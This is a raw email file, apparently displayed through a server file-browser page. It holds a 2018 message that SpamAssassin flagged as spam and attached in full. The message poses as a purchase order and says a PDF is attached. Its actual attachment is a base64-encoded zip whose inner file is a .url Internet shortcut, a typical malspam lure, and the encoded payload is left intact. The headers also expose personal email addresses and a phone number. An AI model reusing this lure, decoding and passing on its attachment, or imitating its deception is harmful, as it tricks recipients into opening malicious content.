| Current Path : /home/ift/mails/30/ |
Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 |
| Current File : //home/ift/mails/30/1522148993.zrspam.301584_2018_03_27 |
From netadmin@photographytoday.net Tue Mar 27 13:09:53 2018
Return-Path: <netadmin@photographytoday.net>
X-Original-To: cgabriel@ift-informatik.de
Delivered-To: cgabriel@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
id C305D3D200D56; Tue, 27 Mar 2018 13:09:53 +0200 (CEST)
Received: from localhost by h2486555.stratoserver.net
with SpamAssassin (version 3.4.0);
Tue, 27 Mar 2018 13:09:53 +0200
From: "Colleen Rushworth" <netadmin@photographytoday.net>
To: <christian.gabriel@shortnote.de>
Subject: *****SPAM***** Purchase Order_933520726_27032018
Date: Tue, 27 Mar 2018 13:09:49 +0200
Message-Id: <f932563a0174$0534151e$c9f2516b$@com>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ***********
X-Spam-Status: Yes, score=11.2 required=5.0 tests=BAYES_50,CK_HELO_GENERIC,
DOS_OUTLOOK_TO_MX,HTML_MESSAGE,MIME_QP_LONG_LINE,PYZOR_CHECK,
RCVD_IN_BRBL_LASTEXT,RCVD_IN_PBL,RCVD_IN_SORBS_DUL,RCVD_IN_XBL,RDNS_NONE
autolearn=no autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_5ABA2681.95D80470"
This is a multi-part message in MIME format.
------------=_5ABA2681.95D80470
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi Sir, Please find attached PDF. Thanks & Regards, [...]
Content analysis details: (11.2 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.2 CK_HELO_GENERIC Relay used name indicative of a Dynamic Pool or
Generic rPTR
0.4 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
[79.8.201.239 listed in zen.spamhaus.org]
3.3 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL
0.0 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address
[79.8.201.239 listed in dnsbl.sorbs.net]
1.4 RCVD_IN_BRBL_LASTEXT RBL: No description available.
[79.8.201.239 listed in bb.barracudacentral.org]
0.0 HTML_MESSAGE BODY: HTML included in message
0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
[score: 0.4705]
0.0 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars
1.4 PYZOR_CHECK Listed in Pyzor (http://pyzor.sf.net/)
0.8 RDNS_NONE Delivered to internal network by a host with no rDNS
2.8 DOS_OUTLOOK_TO_MX Delivered direct to MX with Outlook headers
The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.
------------=_5ABA2681.95D80470
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit
Received: from host239-201-static.8-79-b.business.telecomitalia.it (unknown [79.8.201.239])
by ift-informatik.de (Postfix) with ESMTP id 302BC3D200D55
for <christian.gabriel@shortnote.de>; Tue, 27 Mar 2018 13:09:50 +0200 (CEST)
From: "Colleen Rushworth" <netadmin@photographytoday.net>
To: <christian.gabriel@shortnote.de>
Subject: Purchase Order_933520726_27032018
Date: Tue, 27 Mar 2018 13:09:49 +0200
Message-ID: <f932563a0174$0534151e$c9f2516b$@com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0074_514F1FDF.073A08B7"
X-Mailer: Microsoft Office Outlook 12.0
Thread-Index: AdBx5/5UsdSTxflQTPi+FyODmVaqhA==
Content-Language: en-us
This is a multipart message in MIME format.
------=_NextPart_000_0074_514F1FDF.073A08B7
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0075_514F1FDF.073A08B7"
------=_NextPart_001_0075_514F1FDF.073A08B7
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
Hi Sir,
Please find attached PDF.
Thanks & Regards,
Colleen Rushworth,
Network Administrator,
09868503734.
------=_NextPart_001_0075_514F1FDF.073A08B7
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml" =
xmlns=3D"http://www.w3.org/TR/REC-html40">
<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 12 (filtered medium)">
<style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
{font-family:"Blackadder ITC";
panose-1:4 2 5 5 5 16 7 2 13 2;}
@font-face
{font-family:Mistral;
panose-1:3 9 7 2 3 4 7 2 4 3;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri","sans-serif";}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-priority:99;
color:purple;
text-decoration:underline;}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:"Calibri","sans-serif";
color:windowtext;}
.MsoChpDefault
{mso-style-type:export-only;}
@page Section1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.Section1
{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
<o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext=3D"edit">
<o:idmap v:ext=3D"edit" data=3D"1" />
</o:shapelayout></xml><![endif]-->
</head>
<body lang=3DEN-US link=3Dblue vlink=3Dpurple>
<div class=3DSection1>
<p class=3DMsoNormal>Hi Sir,<o:p></o:p></p>
<p class=3DMsoNormal><o:p> </o:p></p>
<p class=3DMsoNormal>Please find attached PDF.<o:p></o:p></p>
<p class=3DMsoNormal><o:p> </o:p></p>
<p class=3DMsoNormal><span =
style=3D'font-size:24.0pt;font-family:Mistral'>Thanks
& Regards,</span><span style=3D'font-size:12.0pt;font-family:"Times =
New Roman","serif"'><o:p></o:p></span></p>
<p class=3DMsoNormal><span style=3D'font-size:12.0pt;font-family:"Times =
New Roman","serif"'> <o:p></o:p></span></p>
<p class=3DMsoNormal><span =
style=3D'font-size:24.0pt;font-family:Mistral'>Colleen Rushworth,<o:p></o:p></span></p>
<p class=3DMsoNormal><span =
style=3D'font-size:24.0pt;font-family:Mistral'>Network
Administrator,<o:p></o:p></span></p>
<p class=3DMsoNormal><span =
style=3D'font-size:22.0pt;font-family:Mistral'>09868503734.</span><o:p></=
o:p></p>
<p class=3DMsoNormal><o:p> </o:p></p>
</div>
</body>
</html>
------=_NextPart_001_0075_514F1FDF.073A08B7--
------=_NextPart_000_0074_514F1FDF.073A08B7
Content-Type: application/zip;
name="Purchase Order_933520726_27032018.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Purchase Order_933520726_27032018.zip"
UEsDBBQACAAIACtie0wAAAAAAAAAAAAAAAAjAAAAUHVyY2hhc2VfMjY5OTM3OTM5ODA0Nl8y
NzAzMjAxOC51cmw1jUFLAzEUhO+B/BPdzSalbQo5SEVc7KEo4qFbSkle2UD6InlvqUX87waq
cxg+ZmBm962U0t3sQd1X+LP1P900m//spdiW/GlcZ++sFLseGQoCv425sJ+49v3jJhI7Kd5f
N+4UE6zaFrCAT5E5ZDpiaCK2IfvpDMjUbqfixyPBQc+tNQtr7LJeHfRCGa26ZXOhU131GXsM
8OU6KZ4zv8DVqVv8VD/cejV8RAz5QgNdieFs9EAjpGR0E1KS4hdQSwcIc3G0q70AAADhAAAA
UEsBAhQAFAAIAAgAK2J7THNxtKu9AAAA4QAAACMAAAAAAAAAAAAAAAAAAAAAAFB1cmNoYXNl
XzI2OTkzNzkzOTgwNDZfMjcwMzIwMTgudXJsUEsFBgAAAAABAAEAUQAAAA4BAAAAAA==
------=_NextPart_000_0074_514F1FDF.073A08B7--
------------=_5ABA2681.95D80470--